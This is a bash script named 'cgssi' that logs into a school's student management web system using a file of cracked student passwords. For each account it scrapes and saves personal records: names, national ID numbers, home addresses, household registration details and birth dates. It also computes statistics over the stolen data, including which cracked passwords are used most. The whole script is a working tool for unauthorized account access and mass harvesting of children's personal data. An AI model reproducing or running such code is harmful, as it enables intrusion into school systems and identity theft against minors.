#!/bin/bash
# cgssi - Country Gadern School Student Informations
# cgssi is a free software, maintaince by MagicNAT Networing
# Version 0.1.1 (C) MagicNAT Networking
SSID_GEN_URL="http://127.0.0.1:8080/mis/info/menu_info.asp?type=%D1%A7%C9%FA%CD%F8%D2%B3"
AUTH_URL="http://127.0.0.1:8080/mis/info/list.asp"
INFO_URL="http://127.0.0.1:8080/mis/info/tea_info/stu_cxmx_p.asp?nn=%BB%F9%B1%BE%D7%CA%C1%CF"
SSID_FILENAME="./.ssid.cookie"
STAT_RPT_TMP="./.stat"
SEARCH_TMP="./.search"
OFFLINE_MODE_INDICATE="./.offline"
CRACKED_SAVE="../cgspasswd/cracked.txt"
SAVE_DIR="./info/"
function update_ssid {
echo > $OFFLINE_MODE_INDICATE
echo -n "Updateing ssid... "
curl -c $SSID_FILENAME $SSID_GEN_URL --connect-timeout 5 > /dev/null 2> /dev/null
[[ $? == "0" ]] && echo "OK" && rm $OFFLINE_MODE_INDICATE || echo "Failed! Work in offline mode"
}
function search {
echo > $SEARCH_TMP
[[ -z $1 ]] && echo "search: Missing parameters" && return 1
echo -n "Searching for '$1'... "
for data in $(ls $SAVE_DIR)
do
[[ ! -z $(cat $SAVE_DIR$data | grep $1) ]] && echo $data >> $SEARCH_TMP
done
echo "Done"
for data in $(cat $SEARCH_TMP)
do
cat $SAVE_DIR$data | less
done
}
function dstat {
[[ -z $1 ]] && echo "dstat: Missing parameter" && return 1
rm $STAT_RPT_TMP 2> /dev/null > /dev/null
case $1 in
class)
echo > $STAT_RPT_TMP
echo -e "Class informations\n================================================================================" >> $STAT_RPT_TMP
cat $SAVE_DIR* | grep 现读班级: | awk -F": " '{print $2}' | grep 年级 | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -rnk2 | grep students >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
;;
join)
echo > $STAT_RPT_TMP
echo -e "Year joined\n================================================================================" >> $STAT_RPT_TMP
cat $SAVE_DIR* | grep 入校日期: | awk -F": " '{print $2}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s joined\n",$2,$1)}END{print}' | sort -rnk3 | grep joined >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
;;
birth)
echo > $STAT_RPT_TMP
echo -e "Year birth\n================================================================================" > $STAT_RPT_TMP
cat $SAVE_DIR* | grep 出生年月: | awk -F": " '{print $2}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort -rnk3 | grep borned >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
;;
*)
echo "dstat: Can't stat $1"
;;
esac
[[ -e $STAT_RPT_TMP ]] &&cat $STAT_RPT_TMP | less
}
function stat {
echo -n "Generating stat report"
echo > $STAT_RPT_TMP
echo -n "."
echo -e "Overall\n================================================================================" >> $STAT_RPT_TMP
echo "Currently $(ls -l $SAVE_DIR | grep -v ^l | wc -l | sed -e 's/ //g') records in database." >> $STAT_RPT_TMP
echo "Size: $(du -h $SAVE_DIR | sed -e 's/\.\/.*\///' | sed -e 's/ //g')" >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo -n "."
echo -e "Sex\n================================================================================" >> $STAT_RPT_TMP
echo "Males: $(cat $SAVE_DIR* | grep "性别: 男" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ 性别: 男//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP
echo "Females: $(cat $SAVE_DIR* | grep "性别: 女" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ 性别: 女//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo -n "."
echo -e "Year joined\n================================================================================" >> $STAT_RPT_TMP
cat $SAVE_DIR* | grep 入校日期: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s joined\n",$2,$1)}END{print}' | sort -rnk3 | grep joined >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo -n "."
echo -e "Year birth\n================================================================================" >> $STAT_RPT_TMP
cat $SAVE_DIR* | grep 出生年月: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort -rnk3 | grep borned >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo -n "."
echo -e "Drpartment\n================================================================================" >> $STAT_RPT_TMP
echo "International section: $(cat $SAVE_DIR* | grep 现读 | grep 国际部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
echo "High school section: $(cat $SAVE_DIR* | grep 现读 | grep 高中部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
echo "Jounier high section: $(cat $SAVE_DIR* | grep 现读 | grep 初中部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
echo "Kindergarten: $(cat $SAVE_DIR* | grep 现读 | grep 幼儿园 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
echo "Oversea section: $(cat $SAVE_DIR* | grep 现读 | grep 留学部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo -n "."
echo -e "Class informations\n================================================================================" >> $STAT_RPT_TMP
cat $SAVE_DIR* | grep 现读班级: | awk -F": " '{print $2}' | awk -F"(" '{print $1}' | grep 年级 | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -rnk2 | grep students >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo -n "."
echo -e "Card type\n================================================================================" >> $STAT_RPT_TMP
echo "天天接送: $(cat $SAVE_DIR* | grep 接送卡 | grep 天天接送 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP
echo "天天自由出入: $(cat $SAVE_DIR* | grep 接送卡 | grep 天天自由出入 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP
echo "普通接送: $(cat $SAVE_DIR* | grep 接送卡 | grep 普通方式接送 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP
echo "节假日自由出入: $(cat $SAVE_DIR* | grep 接送卡 | grep 节假日自由出入 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo -n "."
echo -e "Hometown\n================================================================================" >> $STAT_RPT_TMP
cat $SAVE_DIR* | awk -F"籍贯: " '{print $2}' | grep 省 | awk -F"省" '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -k2nr | grep students >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo -n "."
echo -e "Password usage\n================================================================================" >> $STAT_RPT_TMP
cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | awk -F, '{print $3}' | sort | uniq -c | sort -k2nr | awk '{printf("%s used %s times\n",$2,$1)}END{print}' | sort -rnk3 | grep times >> $STAT_RPT_TMP
echo >> $STAT_RPT_TMP
echo " Done"
cat $STAT_RPT_TMP | less
}
function try_acct {
[[ -z $1 ]] && return 1
[[ ! -e $SSID_FILENAME ]] && return 1
if [[ ! -z $2 ]]
then
passwd=$2
else
ACCT=$(cat $CRACKED_SAVE | grep $1 | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | tr " " "\n" | uniq )
[[ $(echo $ACCT | awk -F, '{print $1}') == "stu" ]] && passwd=$(echo $ACCT | awk -F, '{print $3}')
fi
[[ ! -z $(curl -b $SSID_FILENAME --data "tbarno=$1&passwd=$passwd&hd=002" $AUTH_URL 2> /dev/null | iconv -f gbk -t utf-8 | grep 个人资料) ]] && echo "true" && return 0
echo "false" && return 1
}
function fetch {
[[ -e $OFFLINE_MODE_INDICATE ]] && echo "fetch: Can't fetch in offline mode." && return 1
[[ ! -e $CRACKED_SAVE ]] && echo "fetch_form_cracked: Cracked account file $CRACKED_SAVE not exist." && return 1
ACCTLIST=$(cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g")
for acct in $ACCTLIST
do
typ=$(echo $acct | awk -F, '{print $1}')
id=$(echo $acct | awk -F, '{print $2}')
passwd=$(echo $acct | awk -F, '{print $3}')
[[ $typ == "stu" ]] && echo -n "[$(date)] Fetching informations for $id... " && view $id $passwd > /dev/null && echo "Ok"
done
}
function view {
[[ -z $1 ]] && echo "view: Missing parameter" && return 1
[[ -e $SAVE_DIR$1.txt ]] && echo "view: View from cache..." && cat $SAVE_DIR$1.txt | less && return 0
[[ -e $OFFLINE_MODE_INDICATE ]] && echo "view: Cannot view uncahed data in offline mode." && return 1
echo -n "view: Auth and fetch... "
if [[ $(try_acct $*) == "false" ]]
then
[[ -z $2 ]] && echo "view: Failed to auth. Unknow password." && return 1
echo "view: Failed to auth. Incorrect ID or password."
return 1
fi
raw=$(curl -b $SSID_FILENAME $INFO_URL 2> /dev/null | iconv -f gbk -t utf-8 2> /dev/null | sed -e :a -e 's/<[^>]*>/|/g;/</N;//ba' | sed -e "s/\ //g" )
echo > $SAVE_DIR$1.txt
echo "账户 $1 的基本信息" >> $SAVE_DIR$1.txt
echo "================================================================================" >> $SAVE_DIR$1.txt
echo "姓名: $(echo $raw | awk -F"姓名" '{print $2}' | awk -F"性别" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "性别: $(echo $raw | awk -F"性别" '{print $2}' | awk -F"入校日期" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "入校日期: $(echo $raw | awk -F"入校日期" '{print $2}' | awk -F"简称" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "入校班级: $(echo $raw | awk -F"入校班级" '{print $2}' | awk -F"公司编号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "现读班级: $(echo $raw | awk -F"现在班级" '{print $2}' | awk -F"离校时间" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "接送卡:$(echo $raw | awk -F"接送卡" '{print $2}' | awk -F"学生档案表" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo >> $SAVE_DIR$1.txt
echo >> $SAVE_DIR$1.txt
echo "账户 $1 的个人信息" >> $SAVE_DIR$1.txt
echo "================================================================================" >> $SAVE_DIR$1.txt
echo "民族:$(echo $raw | awk -F"民族" '{print $2}' | awk -F"籍贯" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
echo "籍贯:$(echo $raw | awk -F"籍贯" '{print $2}' | awk -F"出生日期" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
echo "出生年月:$(echo $raw | awk -F"出生日期" '{print $2}' | awk -F"烈军属" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
echo "烈士军属:$(echo $raw | awk -F"烈军属" '{print $2}' | awk -F"政治面貌" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "政治面貌:$(echo $raw | awk -F"政治面貌" '{print $2}' | awk -F"侨属" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "侨属:$(echo $raw | awk -F"侨属" '{print $2}' | awk -F"身份证号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "身份证:$(echo $raw | awk -F"身份证号" '{print $2}' | awk -F"原读学校" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "原就读于:$(echo $raw | awk -F"原读学校" '{print $2}' | awk -F"现在住址" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "现居地: $(echo $raw | awk -F"现在住址" '{print $2}' | awk -F"邮政编码" '{print $1}' | sed -e "s/|//g" | sed -e "s/ //g" | sed -e "s/省//" | sed -e "s/市//" | sed -e "s/区//" | sed -e "s/镇//" )" >> $SAVE_DIR$1.txt
echo "邮编:$(echo $raw | awk -F"邮政编码" '{print $2}' | awk -F"所在居委会" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "所在居委会:$(echo $raw | awk -F"所在居委会" '{print $2}' | awk -F"户籍" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "户籍:$(echo $raw | awk -F"户籍" '{print $2}' | awk -F"区 域" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "区域:$(echo $raw | awk -F"区 域" '{print $2}' | awk -F"类型" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "类型:$(echo $raw | awk -F"类型" '{print $2}' | awk -F"户口所在" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "户口所在地:$(echo $raw | awk -F"户口所在地" '{print $2}' | awk -F"户 号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "户口号:$(echo $raw | awk -F"户 号" '{print $2}' | awk -F"户主" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "户主:$(echo $raw | awk -F"户主" '{print $2}' | awk -F"所属派出所" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo "所属派出所:$(echo $raw | awk -F"所属派出所" '{print $2}' | awk -F"居委会" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
echo >> $SAVE_DIR$1.txt
echo "Ok"
cat $SAVE_DIR$1.txt | less && return 0
}
function help {
echo
echo " cgssi - Country Gadern School Student Informations"
echo " cgssi is a free software, maintaince by MagicNAT Networing"
echo " Version 0.1 (C) MagicNAT Networking"
echo
echo " Avaiable commands: view, fetch, search, stat, dstat"
echo
echo " Usage: view <id> [passwd]"
echo " view: View the information of given id. If passwd undefined, cgssi will search"
echo " password from cgspasswd cracked accounts"
echo
echo " Usage: fetch"
echo " fetch: Fecth all info for id in cgspasswd cracked accounts"
echo
echo " Usage: search <keyword>"
echo " search: Search all data for given keyword"
echo
echo " Usage: stat"
echo " stat: Stat all datas and show a brief summary"
echo
echo " Usage: dstat <birth/join/class>"
echo " dstat: Stat some data in detiled"
echo
}
function interactive {
echo "cgssi 0.1 (Interactive mode) "
echo "Copyright 2014 MagicNAT Networking"
echo "This is free software with ABSOLUTELY NO WARRANTY."
echo "type help for help"
while true
do
echo -n "cgssi> "; read cmd;
if [[ ! -z $cmd ]]
then
exe=$(echo $cmd | awk '{print $1}')
if ! type "$exe" > /dev/null 2> /dev/null
then
echo "cgssi: command not found: $exe"
else
$cmd
fi
fi
done
}
function main {
case $1 in
-o|--offline)
echo > $OFFLINE_MODE_INDICATE
echo "cgssi: Work in offline mode"
[[ -z $2 ]] && interactive
$2 $3 $4
;;
*)
update_ssid
[[ -z $2 ]] && interactive
$1 $2 $3
;;
esac
}
main $*